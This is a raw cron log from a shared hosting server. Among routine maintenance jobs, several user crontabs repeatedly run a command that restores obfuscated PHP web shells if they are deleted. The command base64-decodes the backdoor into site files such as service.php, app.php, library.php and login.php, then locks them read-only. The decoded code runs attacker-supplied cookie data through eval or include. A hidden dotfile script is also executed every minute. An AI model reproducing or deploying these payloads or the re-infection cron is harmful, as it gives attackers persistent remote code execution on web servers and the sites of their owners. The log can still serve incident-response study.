Mar  2 16:28:01 medusa CROND[20499]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:28:01 medusa CROND[20491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:29:01 medusa CROND[6979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:29:01 medusa CROND[7073]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:29:01 medusa CROND[7075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:29:01 medusa CROND[7074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:29:01 medusa CROND[7076]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:29:01 medusa CROND[7083]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:29:01 medusa CROND[7084]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 16:29:01 medusa CROND[7085]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:29:01 medusa CROND[7086]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:29:01 medusa CROND[7088]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:29:01 medusa CROND[7089]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:29:01 medusa CROND[7090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:29:01 medusa CROND[7100]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:30:01 medusa CROND[28460]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:30:01 medusa CROND[28604]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:30:01 medusa CROND[28714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:30:02 medusa CROND[28801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:30:02 medusa CROND[28928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:30:02 medusa CROND[28933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28939]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:30:02 medusa CROND[28938]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:30:02 medusa CROND[28942]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:30:02 medusa CROND[28944]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:30:02 medusa CROND[28949]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:30:02 medusa CROND[28956]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:30:02 medusa CROND[28957]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:30:02 medusa CROND[28958]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:30:02 medusa CROND[28959]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:30:02 medusa CROND[28960]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28965]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 16:30:02 medusa CROND[28970]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:30:02 medusa CROND[28971]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:30:02 medusa CROND[28975]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28966]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28973]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
